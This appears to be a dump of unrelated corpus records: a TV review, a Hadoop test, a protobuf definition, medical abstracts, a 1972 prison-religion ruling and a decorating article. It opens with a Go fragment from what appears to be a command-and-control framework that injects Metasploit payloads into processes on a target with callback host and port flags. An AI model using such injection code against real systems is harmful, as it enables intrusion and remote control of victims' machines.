int32(iterations),\n\t})\n\tctrl <- true\n\t<-ctrl\n\tif err !", "= nil {\n\t\tfmt.", "Printf(Warn+\"%s\\n\", err)\n\t} else {\n\t\tfmt.", "Printf(Info + \"Executed payload on target\\n\")\n\t}\n}\n\nfunc msfInject(ctx *grumble.", "Context, rpc rpcpb.", "SliverRPCClient) {\n\n\tsession := ActiveSession.", "GetInteractive()\n\tif session == nil {\n\t\treturn\n\t}\n\n\tpayloadName := ctx.", "Flags.", "String(\"payload\")\n\tlhost := ctx.", "Flags.", "String(\"lhost\")\n\tlport := ctx.", "Flags.", "Int(\"lport\")\n\tencoder := ctx.", "Flags.", "String(\"encoder\")\n\titerations := ctx.", "Flags.", "Int(\"iterations\")\n\tpid := ctx.", "Flags.", "Int(\"pid\")\n\n\tif lhost == \"\" {\n\t\tfmt.", "Printf(Warn+\"Invalid lhost '%s', see `help %s`\\n\", lhost, consts.", "MsfInjectStr)\n\t\treturn\n\t}\n\n\tif pid == -1 {\n\t\tfmt.", "Printf(Warn+\"Invalid pid '%s', see `help %s`\\n\", lhost, consts.", "MsfInjectStr)\n\t\treturn\n\t}\n\n\tctrl := make(chan bool)\n\tmsg := fmt.", "Sprintf(\"Injecting payload %s %s/%s -> %s:%d ...\",\n\t\tpayloadName, session.", "OS, session.", "Arch, lhost, lport)\n\tgo spin.", "Until(msg, ctrl)\n\t_, err := rpc.", "MsfRemote(context.", "Background(), &clientpb.", "MSFRemoteReq{\n\t\tRequest: ActiveSession.", "Request(ctx),\n\t\tPayload: payloadName,\n\t\tLHost: lhost,\n\t\tLPort: uint32(lport),\n\t\tEncoder: encoder,\n\t\tIterations: int32(iterations),\n\t\tPID: uint32(pid),\n\t})\n\tctrl <- true\n\t<-ctrl\n\tif err !", "= nil {\n\t\tfmt.", "Printf(Warn+\"%s\\n\", err)\n\t} else {\n\t\tfmt.", "Printf(Info + \"Executed payload on target\\n\")\n\t}\n}\n" ]

{ "pile_set_name": "Github" }

[ 0.0006025725742802024, 0.0005842549726366997, 0.0005788954440504313, 0.0005805743858218193, 0.0006102016777731478, 0.0007483406225219369, 0.0006980869802646339, 0.0011568883201107383, 0.0008315020822919905, 0.0007775174453854561, 0.0006837117834948003, 0.0007775174453854561, 0.0007506926776841283, 0.0007775174453854561, 0.0006899783620610833, 0.0007775174453854561, 0.0006709164590574801, 0.0007775174453854561, 0.0007887573447078466, 0.0011106249876320362, 0.001186632551252842, 0.0007452001445926726, 0.0006906102644279599, 0.0012621369678527117, 0.0006959864986129105, 0.0006356714875437319, 0.0005964842857792974, 0.0007919895579107106, 0.000765627424698323, 0.0010001608170568943, 0.0034726951271295547, 0.008963591419160366, 0.0006980869802646339, 0.0011568883201107383, 0.0008315020822919905, 0.0007775174453854561, 0.0006837117834948003, 0.0007775174453854561, 0.0007506926776841283, 0.0007775174453854561, 0.0006899783620610833, 0.0007775174453854561, 0.0006709164590574801, 0.0007775174453854561, 0.0007723560556769371, 0.0007775174453854561, 0.0010582433314993978, 0.0011106249876320362, 0.004091287963092327, 0.0012963847257196903, 0.0020286976359784603, 0.0007996171480044723, 0.0006906102644279599, 0.0012621369678527117, 0.0006959864986129105, 0.0008521743584424257, 0.0005964842857792974, 0.0008975822711363435, 0.0007823570049367845, 0.0010001608170568943, 0.0034726951271295547, 0.0008447687141597271 ]

[ "// Protocol Buffers - Google's data interchange format\n// Copyright 2008 Google Inc. All rights reserved.", "\n// https://developers.google.com/protocol-buffers/\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.", "\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following disclaimer\n// in the documentation and/or other materials provided with the\n// distribution.", "\n// * Neither the name of Google Inc. nor the names of its\n// contributors may be used to endorse or promote products derived from\n// this software without specific prior written permission.", "\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. ", "IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.", "\n\nsyntax = \"proto3\";\n\npackage google.protobuf;\n\noption csharp_namespace = \"Google.", "Protobuf.", "WellKnownTypes\";\noption java_package = \"com.google.protobuf\";\noption java_outer_classname = \"SourceContextProto\";\noption java_multiple_files = true;\noption objc_class_prefix = \"GPB\";\noption go_package = \"google.golang.org/genproto/protobuf/source_context;source_context\";\n\n// `SourceContext` represents information about the source of a\n// protobuf element, like the file in which it is defined.", "\nmessage SourceContext {\n // The path-qualified name of the .proto file that contained the associated\n // protobuf element. ", " For example: `\"google/protobuf/source_context.proto\"`.", "\n string file_name = 1;\n}\n" ]

{ "pile_set_name": "Github" }

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[ "Season Three - Alicia Silverstone Arc\n\nCreator: Rob Corddry\n\nRegular airtime: Thursdays, midnight ET\n\n(Adult Swim)US: 11 Aug 2011\n\nChildrens Hospital never fails to deliver laughs, though in recent episodes, these have been fewer than before. ", "The current season, which began in June, doesn’t really stand up to the inspired lunacy of the first, released in 2008 as a series of five-minute webisodes on TheWB.com. ", "After it was picked up by Adult Swim, Childrens Hospital was extended to 15-minute episodes. ", "Since then, the focus has shifted from absurd anti-comedy to parody of medical dramas like ER, Grey’s Anatomy, and St. Elsewhere.", "\n\nThis more conventional format has sapped the original webisodes’ energy and edge. ", "The superficial signs of the change are easy to see: for instance, employees of the titular hospital don’t die and then pop up again inexplicably in the next episode. ", "But for a show as original as this one, even small movement into the realm of situation comedy feels like a defeat.", "\n\nEven in its new, less aggressively innovative form, it’s hard to describe what Childrens Hospital is “about,” and trying to do so can’t really get at the viewer’s experience anyway. ", "For one thing, the series assumes a television-literate audience, and serves up exactly what is unexpected. ", "As with many shows in the anti-comedy tradition, this one often draws attention to the limitations of the joke form by highlighting the predictability of set-ups immediately followed by punch lines. ", "Where “normal” jokes would pay off, anti-comedy lingers in pointedly awkward situations, requiring expert delivery and unflinching commitment from performers.", "\n\nAs if to underline this awkwardness, the characters here are extremely abstract, referencing stock players from famous medical dramas, but twisted. ", "Valerie Flame (Malin Ackerman) is a nod to the noble female physician who works long hours but somehow looks perfect after a double shift. ", "Sy Mittleton (Henry Winkler) is an affable hospital administrator, though everyone assumes he’s a backstabbing company man. ", "The crutches of Chief (Megan Mullally) allude to Dr. Weaver’s in ER, though she also has a bit of the battiness of Aunt Bea from The Andy Griffith Show, coupled with the randiness of Samantha from Sex and the City.", "\n\nPulling together a couple of themes, Dr. Blake Downs (Rob Corddry) is a strong believer in “the healing power of laughter.” ", "We’re not precisely reassured of this by his regular appearance, namely, clown makeup and scrubs that are always stained with blood. ", "Like a demonic Patch Adams, Dr. Downs keeps to his alternative medical philosophy even where more traditional medicine probably would be more helpful. ", "Throughout the series, we’ve seen him in surgery, telling jokes into his patients’ open chest cavities while blood-soaked rubber chickens and whoopee cushions lay on the instrument table with the scalpels and rib-spreaders. ", "He never understands why people are always dying on him.", "\n\nThe episodes airing 11 August and 25 August, “The Night Shift” and “Party Down,” like many before them, are structured around gags set up by ridiculous circumstances: the hospital’s used as a set to shoot pornography, a fake nurse is electrocuted to death, Dr. Downs’ rival clown doctor (Seth Morris) returns, and so does David Wain as Rabbi Jewy McJew Jew.", "\n\nAs the rabbi’s name and appearance suggest, Childrens Hospital occasionally takes aim at political correctness, much like other anti-comedy shows (say, The Sarah Silverman Program). “", "Being a Jew is fantastic,” he says, “We have big hands, we kick ass at math, and we can lift three times our body weight.” ", "Or again, “Every Jewish boy dreams of being an older Jewish man.” ", "The use of the stereotype challenges the stereotype: it’s a familiar trick, but not ineffective.", "\n\nSimilarly, the show is hardly invested in common plot devices: it’s not precisely a spoiler to say that a main character dies during these two episodes. ", "Death has no meaning in the world of Childrens Hospital. ", "In fact, the saddest aspect this passing is that it likely will remind fans of earlier seasons when characters were dying almost every episode. ", "Nick Kroll’s appearance as a lusty shift manager will likewise remind fans of his much funnier role as Little Nicky, the boy from Season Two with the advanced aging disease. ", "It seems unfair to complain that Childrens Hospital isn’t great. ", "But given that what it used to be, good isn’t really good enough." ]

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[ "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. ", " See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. ", " The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. ", " You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "\n * See the License for the specific language governing permissions and\n * limitations under the License.", "\n */\npackage org.apache.hadoop.hdfs.server.datanode.fsdataset.impl;\n\nimport java.io.", "File;\nimport java.io.", "FileInputStream;\nimport java.io.", "FileOutputStream;\nimport java.io.", "IOException;\nimport java.io.", "RandomAccessFile;\nimport java.util.", "Collection;\nimport java.util.", "Iterator;\nimport java.util.", "Random;\n\nimport org.apache.hadoop.conf.", "Configuration;\nimport org.apache.hadoop.fs.", "FSDataOutputStream;\nimport org.apache.hadoop.fs.", "FileSystem;\nimport org.apache.hadoop.fs.", "Path;\nimport org.apache.hadoop.hdfs.", "DFSConfigKeys;\nimport org.apache.hadoop.hdfs.", "DFSTestUtil;\nimport org.apache.hadoop.hdfs.", "HdfsConfiguration;\nimport org.apache.hadoop.hdfs.", "MiniDFSCluster;\nimport org.apache.hadoop.hdfs.client.", "HdfsClientConfigKeys;\nimport org.apache.hadoop.hdfs.protocol.", "Block;\nimport org.apache.hadoop.hdfs.server.common.", "HdfsServerConstants.", "ReplicaState;\nimport org.apache.hadoop.hdfs.server.datanode.", "DataNode;\nimport org.apache.hadoop.hdfs.server.datanode.", "DataNodeFaultInjector;\nimport org.apache.hadoop.hdfs.server.datanode.", "DataNodeTestUtils;\nimport org.apache.hadoop.hdfs.server.datanode.", "DatanodeUtil;\nimport org.apache.hadoop.hdfs.server.datanode.", "ReplicaInfo;\nimport org.apache.hadoop.hdfs.server.datanode.fsdataset.", "FsDatasetSpi;\nimport org.apache.hadoop.hdfs.server.datanode.fsdataset.", "FsVolumeSpi;\nimport org.apache.hadoop.io.", "IOUtils;\nimport org.apache.hadoop.util.", "Time;\nimport org.junit.", "Assert;\nimport org.junit.", "Test;\n\n/** Test if a datanode can correctly upgrade itself */\npublic class TestDatanodeRestart {\n // test finalized replicas persist across DataNode restarts\n @Test public void testFinalizedReplicas() throws Exception {\n // bring up a cluster of 3\n Configuration conf = new HdfsConfiguration();\n conf.setLong(DFSConfigKeys.", "DFS_BLOCK_SIZE_KEY, 1024L);\n conf.setInt(HdfsClientConfigKeys.", "DFS_CLIENT_WRITE_PACKET_SIZE_KEY, 512);\n MiniDFSCluster cluster = new MiniDFSCluster.", "Builder(conf).numDataNodes(3).build();\n cluster.waitActive();\n FileSystem fs = cluster.getFileSystem();\n try {\n // test finalized replicas\n final String TopDir = \"/test\";\n DFSTestUtil util = new DFSTestUtil.", "Builder().", "\n setName(\"TestDatanodeRestart\").setNumFiles(2).build();\n util.createFiles(fs, TopDir, (short)3);\n util.waitReplication(fs, TopDir, (short)3);\n util.checkFiles(fs, TopDir);\n cluster.restartDataNodes();\n cluster.waitActive();\n util.checkFiles(fs, TopDir);\n } finally {\n cluster.shutdown();\n }\n }\n \n // test rbw replicas persist across DataNode restarts\n public void testRbwReplicas() throws IOException {\n Configuration conf = new HdfsConfiguration();\n conf.setLong(DFSConfigKeys.", "DFS_BLOCK_SIZE_KEY, 1024L);\n conf.setInt(HdfsClientConfigKeys.", "DFS_CLIENT_WRITE_PACKET_SIZE_KEY, 512);\n MiniDFSCluster cluster = new MiniDFSCluster.", "Builder(conf).numDataNodes(2).build();\n cluster.waitActive();\n try {\n testRbwReplicas(cluster, false);\n testRbwReplicas(cluster, true);\n } finally {\n cluster.shutdown();\n }\n }\n \n private void testRbwReplicas(MiniDFSCluster cluster, boolean isCorrupt) \n throws IOException {\n FSDataOutputStream out = null;\n FileSystem fs = cluster.getFileSystem();\n final Path src = new Path(\"/test.txt\");\n try {\n final int fileLen = 515;\n // create some rbw replicas on disk\n byte[] writeBuf = new byte[fileLen];\n new Random().nextBytes(writeBuf);\n out = fs.create(src);\n out.write(writeBuf);\n out.hflush();\n DataNode dn = cluster.getDataNodes().get(0);\n try (FsDatasetSpi.", "FsVolumeReferences volumes =\n dataset(dn).getFsVolumeReferences()) {\n for (FsVolumeSpi vol : volumes) {\n final FsVolumeImpl volume = (FsVolumeImpl) vol;\n File currentDir =\n volume.getCurrentDir().getParentFile().getParentFile();\n File rbwDir = new File(currentDir, \"rbw\");\n for (File file : rbwDir.listFiles()) {\n if (isCorrupt && Block.isBlockFilename(file)) {\n new RandomAccessFile(file, \"rw\")\n .setLength(fileLen - 1); // corrupt\n }\n }\n }\n }\n cluster.restartDataNodes();\n cluster.waitActive();\n dn = cluster.getDataNodes().get(0);\n\n // check volumeMap: one rwr replica\n String bpid = cluster.getNamesystem().getBlockPoolId();\n ReplicaMap replicas = dataset(dn).volumeMap;\n Assert.assertEquals(1, replicas.size(bpid));\n ReplicaInfo replica = replicas.replicas(bpid).iterator().next();\n Assert.assertEquals(ReplicaState.", "RWR, replica.getState());\n if (isCorrupt) {\n Assert.assertEquals((fileLen-1)/512*512, replica.getNumBytes());\n } else {\n Assert.assertEquals(fileLen, replica.getNumBytes());\n }\n dataset(dn).invalidate(bpid, new Block[]{replica});\n } finally {\n IOUtils.closeStream(out);\n if (fs.exists(src)) {\n fs.delete(src, false);\n }\n fs.close();\n } \n }\n\n private static FsDatasetImpl dataset(DataNode dn) {\n return (FsDatasetImpl)DataNodeTestUtils.getFSDataset(dn);\n }\n\n @Test\n public void testWaitForRegistrationOnRestart() throws Exception {\n Configuration conf = new HdfsConfiguration();\n conf.setLong(DFSConfigKeys.", "DFS_DATANODE_BP_READY_TIMEOUT_KEY, 5);\n conf.setInt(HdfsClientConfigKeys.", "DFS_CLIENT_SOCKET_TIMEOUT_KEY, 5000);\n\n // This makes the datanode appear registered to the NN, but it won't be\n // able to get to the saved dn reg internally.", "\n DataNodeFaultInjector dnFaultInjector = new DataNodeFaultInjector() {\n @Override\n public void noRegistration() throws IOException {\n throw new IOException(\"no reg found for testing\");\n }\n };\n DataNodeFaultInjector oldDnInjector = DataNodeFaultInjector.get();\n DataNodeFaultInjector.set(dnFaultInjector);\n MiniDFSCluster cluster = null;\n long start = 0;\n Path file = new Path(\"/reg\");\n try {\n int numDNs = 1;\n cluster = new MiniDFSCluster.", "Builder(conf).numDataNodes(numDNs).build();\n cluster.waitActive();\n\n start = Time.monotonicNow();\n FileSystem fileSys = cluster.getFileSystem();\n try {\n DFSTestUtil.createFile(fileSys, file, 10240L, (short)1, 0L);\n // It is a bug if this does not fail.", "\n throw new IOException(\"Did not fail!\");", "\n } catch (org.apache.hadoop.ipc.", "RemoteException e) {\n long elapsed = Time.monotonicNow() - start;\n // timers have at-least semantics, so it should be at least 5 seconds.", "\n if (elapsed < 5000 || elapsed > 10000) {\n throw new IOException(elapsed + \" milliseconds passed.\", ", "e);\n }\n }\n DataNodeFaultInjector.set(oldDnInjector);\n // this should succeed now.", "\n DFSTestUtil.createFile(fileSys, file, 10240L, (short)1, 0L);\n\n // turn it back to under-construction, so that the client calls\n // getReplicaVisibleLength() rpc method against the datanode.", "\n fileSys.append(file);\n // back to simulating unregistered node.", "\n DataNodeFaultInjector.set(dnFaultInjector);\n byte[] buffer = new byte[8];\n start = Time.monotonicNow();\n try {\n fileSys.open(file).read(0L, buffer, 0, 1);\n throw new IOException(\"Did not fail!\");", "\n } catch (IOException e) {\n long elapsed = Time.monotonicNow() - start;\n if (e.getMessage().contains(\"readBlockLength\")) {\n throw new IOException(\"Failed, but with unexpected exception:\", e);\n }\n // timers have at-least semantics, so it should be at least 5 seconds.", "\n if (elapsed < 5000 || elapsed > 10000) {\n throw new IOException(elapsed + \" milliseconds passed.\", ", "e);\n }\n }\n DataNodeFaultInjector.set(oldDnInjector);\n fileSys.open(file).read(0L, buffer, 0, 1);\n } finally {\n DataNodeFaultInjector.set(oldDnInjector);\n if (cluster !", "= null) {\n cluster.shutdown();\n }\n }\n }\n}\n" ]

{ "pile_set_name": "Github" }

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[ "Development of a psychometrically valid and reliable sports nutrition knowledge questionnaire.", "\nThe present range of sports nutrition knowledge questionnaires have inadequate psychometric validation, and few are up to date in a rapidly changing discipline. ", "The purpose of this study was to design a sports nutrition questionnaire that satisfied acceptable psychometric criteria of validity (content and construct) and reliability (test-retest). ", "The questionnaire was designed by an expert panel of six sports dietitians and distributed to five groups, selected for their expected variation in sports nutrition knowledge. ", "Dietitians, university business staff and nutrition students received questionnaires via e-mail. ", "The response rates obtained were 21.3% (n = 49), 34.4% (n = 33), and 72.0% (n = 18), respectively. ", "University business and fitness students completed questionnaires during class time. ", "Response rates were 52.3% (n = 23) and 75.4% (n = 49), respectively. ", "The questionnaire was administered a second time to the business staff and the dietitians to assess test-retest reliability. ", "Two methods were used: 1, Pearson's product-moment correlation; and 2, a percentage calculation of questions answered in an identical manner on both test occasions. ", "Reliability was acceptable with Method 1 yielding acceptable values (r = 0.74-0.93), aside from the fluid sub-category (r = 0.52). ", "Method 2 showed good test-retest concordance with 81.2% duplication of responses of all questions. ", "Construct validity was high, as indicated by significant mean knowledge score differences between the groups (p = 0.0001). ", "Dietitians and nutrition students achieved significantly greater mean scores than the remaining groups. ", "The findings of this study indicate that the questionnaire is suitably valid and reliable to be used in research and practice to determine sports nutrition knowledge." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "\n347 F.Supp. ", "887 (1972)\nWillie CLARK et al., ", "Plaintiffs,\nv.\nCharles L. WOLFF, Jr., Warden, Nebraska Penal and Correctional Complex, Defendant.", "\nMaurice X. ANDERSON et al., ", "Plaintiffs,\nv.\nCharles L. WOLFF, Jr., Warden, Nebraska Penal and Correctional Complex, Defendant.", "\nNos. ", "CV71-L-229, CV71-L-250.", "\nUnited States District Court, D. Nebraska.", "\nMay 24, 1972.", "\n*888 Con M. Keating, Lincoln, Neb., for plaintiffs.", "\nJames Duggan, Asst. ", "Atty. ", "Gen., for defendant.", "\n\nMEMORANDUM\nURBOM, Chief Judge.", "\nPursuant to the Civil Rights Act, 42 U.S.C. § 1983, and a jurisdictional base of 28 U.S.C. § 1343(3), the plaintiffs, inmates of the Nebraska Penal and Correctional Complex, seek redress of alleged deprivations of their right of free exercise of religion under the First and Fourteenth Amendments to the Constitution of the United States. ", "The two cases raise similar questions and have been consolidated for trial.", "\nThe three assertions of impingement upon religious freedom are: (1) denial of receipt of the periodical Muhammed Speaks and the books Message to the Black Man in America and How to Eat to Live, authored by Messenger Elijah Muhammed; (2) denial of visitation by a Black Muslim minister, Mr. Able X. Zackery; and (3) deprival of dietary accommodations.", "\n\nI.\nPerhaps because of and certainly consistent with this court's holding in Rowland v. Sigler, 327 F.Supp. ", "821 (U.S.D.C.Neb.1971), affirmed 452 F.2d 1005 (C.A. 8th Cir. ", "1971), the defendant has agreed in open court that the plaintiffs may subscribe to and receive Muhammed Speaks. ", "Receiving of the books Message to the Black Man in America and How to Eat to Live has never been requested of the prison authorities. ", "The plaintiff Clark ordered Message to the Black Man in America through his parents and his parents later informed him that they had sent the book but that it had been returned to them by prison personnel. ", "There was no testimony as to why the book was returned. ", "Under such a factual record I can only conclude that the plaintiffs Lewis and Anderson have no controversy with the warden on the issue of the books, because the warden has not been shown to have refused to permit the books to be received by them, and that the plaintiff Clark has provided insufficient facts of a deprivation of his constitutional rights. ", "A warden may invoke reasonable security measures to screen out possible messages or contraband, for example, and there simply are no facts shown in this case to permit me to decide that the warden exceeded his proper discretion regarding the one book. ", "There is no indication that there is or has been a prison policy against permitting Message to the Black Man in America or How to Eat to Live to be received by inmates.", "\n\nII.", "\nAlthough the plaintiffs have alleged that they have been denied opportunity to receive visits from a Black Muslim minister, Able X. Zackery, the defendant has stipulated that Able X. Zackery is on the prison's list of approved ministers and may visit the plaintiffs at any time. ", "No request for visitation has been made. ", "I conclude that there is no controversy on this issue.", "\n\nIII.", "\nFrom the evidence the following facts have emerged:\nAll three plaintiffs are adherents of the Black Muslim faith. ", "As such they subscribe to the teachings of Messenger Elijah Muhammed. *", "889 Lewis has been a follower of Muhammed for seven to eight years, which includes a period prior to his incarceration. ", "Clark and Anderson were converted to the faith after their incarceration at the Nebraska Penal and Correctional Complex. ", "As an adjunct to their faith, the plaintiffs observe certain dietary restrictions, the foremost being avoidance of pork, an abstinence founded on the teachings of the Holy Koran. ", "Additionally, the plaintiffs have chosen to follow the teachings of Messenger Elijah Muhammed to the effect that kinds of food have different value and milk is at the summit of the structure. ", "Other foods are assigned values on a descending scale and some are to be avoided at all costs. ", "The plaintiffs Lewis and Anderson have imposed upon themselves a diet consisting solely of milk. ", "Clark follows a diet centered around milk, but also eats other foods such as fresh fruit, some vegetables, and other dairy products.", "\nSince several weeks prior to the hearing, the plaintiffs have been supplied with extra milk. ", "With each of the meals served at the regular meal times, each plaintiff receives two quarts of milk. ", "In addition each is served two quarts of milk at approximately 9:00 p. m. Thus, each plaintiff is supplied with two gallons of milk each day. ", "However, the plaintiffs choose to consume food only between the hours of 4:00 and 6:00 p. m. Lewis, in fact, has imposed upon himself a 72-hour diet; that is, he abstains from all food for 72 hours, then consumes only milk — about seven quarts — between the hours of 4:00 and 6:00 p. m. on the third day. ", "Anderson follows a 48-hour diet, taking only milk—about seven quarts—every second day. ", "It is clear from the testimony of the plaintiffs that this regimen is self-imposed; it is not commanded by any religious stricture contained within the Black Muslim faith. ", "It is, however, based upon the teaching of Messenger Elijah Muhammed as interpreted by Lewis and Anderson. ", "Although not required by their religious persuasion, they believe that it is helpful to their spiritual and physical well-being.", "\nThe testimony of the plaintiffs further showed that the milk supplied them daily has been in excess of the amount they normally consume. ", "On several occasions the milk ration given them at 9:00 p. m. has been poured out. ", "Difficulty has arisen because the plaintiffs wish to have the milk supplied to them only between the hours of 4:00 and 6:00 p. m. In order that they may consume their milk at this time, the plaintiffs have carried milk from the mess hall, an action prohibited by Complex regulations. ", "On at least one occasion this action resulted in a \"scuffle\" with a prison guard. ", "As a result of that \"scuffle\" the plaintiffs were convicted of assault. ", "Both Lewis and Clark would no longer be confined in the Complex were it not for the additional sentences imposed as a result of the assault convictions.", "\nIt is clear that the defendant has at no time applied any pressure on the plaintiffs to consume foods that are forbidden by the plaintiffs' religious beliefs. ", "To the contrary, the evidence shows that the plaintiffs have been free to a large extent to consume only those foods which they choose to eat.", "\nComplex authorities have not interfered with the plaintiffs' own timetable as to food consumption, although only two quarts of their daily milk ration is given them between 4:00 and 6:00 p. m. The plaintiffs have not been disciplined for their failure to consume food given to them at other times.", "\nThe issue presented is a very narrow one: Is the failure of the officials of the Nebraska Penal and Correctional Complex to provide milk to the plaintiffs between the hours of 4:00 and 6:00 p. m. only or to permit the plaintiffs to accumulate in their cells milk in sufficient quantities to assure the plaintiffs *890 of a supply of approximately seven quarts for consumption between the hours of 4:00 and 6:00 p. m. on such days as the plaintiffs choose violative of the plaintiffs' right to freedom of religion?", "\nThe First Amendment of the Constitution, adjusted by the Fourteenth Amendment, states:\n\"[A state] shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof.\"", "\nWithin the Free Exercise Clause two freedoms are guaranteed — the freedom to believe and the freedom to act. ", "The first is absolute, the second is not. ", "Cantwell v. Connecticut, 310 U.S. 296, 60 S.Ct. ", "900, 84 L.Ed. ", "1213 (1940).", "\nHere, the only actual restriction on religious acts is that which arises from the prison regulation prohibiting the accumulation of milk in the cells. ", "I am confident that the warden, as a representative of the state, is not compelled by the Constitution to permit that kind of accumulation. ", "To accumulate seven quarts of milk in his cell by 4:00 p. m. on any day under the present prison scheduling, an inmate would have to begin the accumulation by 9:00 p. m. the previous day. ", "Sanitation considerations intercept any temptation to require the officials to allow such an accumulation.", "\nTo require the officials to alter the food scheduling at the Complex so that each plaintiff could have seven quarts of milk between 4:00 and 6:00 p. m. on such days as each plaintiff chose to have the milk (Lewis, Clark and Anderson have differing individual regimes) would be unwarranted by any constitutional standard. ", "First, the duty of a state is to keep from prohibiting religious acts, not to provide the means for carrying them out. ", "Indeed, a state's providing assistance for religious activities presents grave issues of violations of the Establishment Clause of the First Amendment. ", "State of Illinois ex rel. ", "McCollum v. Board of Education of School District No. ", "71, 333 U.S. 203, 68 S.Ct. ", "461, 92 L.Ed. ", "649 (1948). ", "Second, the practical impossibilities of requiring a penal institution — or perhaps any other segment of society — to be restructured so that a single individual's religious demands would be affirmatively provided for, point up the necessity of interpreting the word \"religion\" in the Free Exercise Clause as something other than one person's chosen diet, selected as a result of, but not required by his religious faith. ", "I am persuaded that the Nebraska Penal and Correctional Complex is not constitutionally required to make exceptions in its orderly routine to provide for the exercise of dietary practices, where, as here, the evidence shows that those practices are adopted differently by different individuals and differently at different times by the same individual and when the specific practice is not required by a tenet of the organized faith to which the persons belong. ", "See United States v. Kroncke, 459 F.2d 697 (C.A.8th Cir. ", "1972); Reynolds v. United States, 98 U.S. 145, 25 L.Ed. ", "244 (1879); Childs v. Pegelow, 321 F.2d 487 (C.A.4th Cir. ", "1963), cert. ", "denied 376 U.S. 932, 84 S.Ct. ", "702, 11 L.Ed.2d 652 (1964); and State of Wisconsin v. Yoder, 406 U.S. 205, 92 S.Ct. ", "1526, 32 L.Ed.2d 15, 1972.", "\nClaim is made that on one occasion a \"scuffle\" arose between the plaintiffs and a prison guard, evidently because the plaintiffs insisted upon taking their milk to their cells. ", "For their part in the \"scuffle\" the plaintiffs were placed in the Adjustment Center for 16 days and thereafter were charged and convicted in a court of law of assault. ", "The plaintiffs now claim here that such placement in the Adjustment Center and subsequent conviction were deprivations of their freedom of religion. ", "I do not agree. ", "Violation of the state criminal laws regarding assault is not justified by a desire for a particular dietary program, even when religiously oriented. ", "See United States v. Kroncke, supra.", "\nOrders will be entered dismissing the actions.", "\n" ]

{ "pile_set_name": "FreeLaw" }

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[ "Mapping of locomotor behavioral arousal induced by microinjections of dopamine within nucleus accumbens septi of rat forebrain.", "\nDopamine (DA) at ca. ", "ED50 (16 microg) or saline was stereotaxically microinjected unilaterally 2 h after pretreatment with an MAO inhibitor into left or right nucleus accumbens septi of 697 freely moving rats (1394 injections) to define subregions involved in DA-induced behavioral arousal throughout the anatomical extent of the accumbens. ", "Locomotion was quantified electronically and behavioral responses were assigned to histologically verified injection sites; postural or stereotyped behaviors characteristic of DA injections in caudate-putamen did not occur. ", "Screening with 60 injections across mid-accumbens (2.2-3.2 mm rostral to bregma) indicated that locomotion was elicited non-homogeneously, and was particularly intense dorsomedially. ", "Sites yielding intense arousal and their inactive surround were mapped along the rostrocaudal axis (1.4-4.2 mm anterior to bregma) in coronal sections. ", "Responses to DA showed lateral symmetry and were similar across rostrocaudal levels, with intense responses in dorsomedial accumbens along its border with the caudate-putamen. ", "This functional localization does not coincide closely with reported distributions of DA or its receptors, nor with histologically or histochemically defined core-shell regions of this limbic structure. ", "Nucleus accumbens in rat brain thus appears to be organized functionally into distinct subregions differing markedly in ability to produce locomotor hyperactivity in response to exogenous DA." ]

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[ "With Imagination, Renters Can Turn An Apartment Into A Home\n\nApartment dwellers don't have to be satisfied with standard-issue lighting, blah window treatments or bland wall colors that are available to them in most rentals. ", "They can infuse their new digs with a design plan that's customized to fit their taste and may be able to enlist support from the landlord to make subtle changes.", "\n\nFor instance, if an apartment complex insists on uniform window treatments, renters may be able to hang their own drapes or shades by adding a neutral backing so the exterior appearance remains the same.", "\n\nApartment Therapy advised renters to approach the property owner about what they can and can't change in their space. ", "They may find that painting, or a change in light fixtures and window coverings is allowed as long as apartments are restored to their original state when renters move on.", "\n\nGathering Ideas\nTo begin, apartment decorators can get ideas on how to develop their new home's style by tearing out magazine pages that show color schemes and furniture they like and bring them along on shopping trips.", "\n\nApartment dwellers should take a step back to see how they react to their overall space. ", "Getting a sense of where clutter may accumulate and the spots that are empty as well as the size and shape of each area helps people picture how the furnishings should be set up for the best effect.", "\n\nOne of the most inexpensive decorating moves that can make a big impact is choosing a paint color that expresses the apartment dweller's personality, whether it be a bold hue, a sunny pastel or a contemporary neutral such as steel gray. ", "Or, they can take it a step further by choosing a complex color.", "\n\n\"This simply means, if you would use several different words to describe the color, than it is probably complex,\" room stager Julie Danad told HGTV.", "\n\nWork around Permanent Features\nIn some rooms like kitchens and bathrooms, there are permanent features that cannot be changed so apartment dwellers need to work around them. ", "The tiling in the bathroom is something a renter just needs to accept.", "\n\nNot so with ceiling lights, which can be replaced with an interesting, more stylish glass globe or a small chandelier. ", "Apartment dwellers can also have the comfort of warm towels straight from a heated towel rack. ", "Some towel warmers come in plug-in styles that can go with the renters when they move to a new home.", "\n\nFurnishing the Apartment\nWhen making initial furniture choices, renters should focus on the 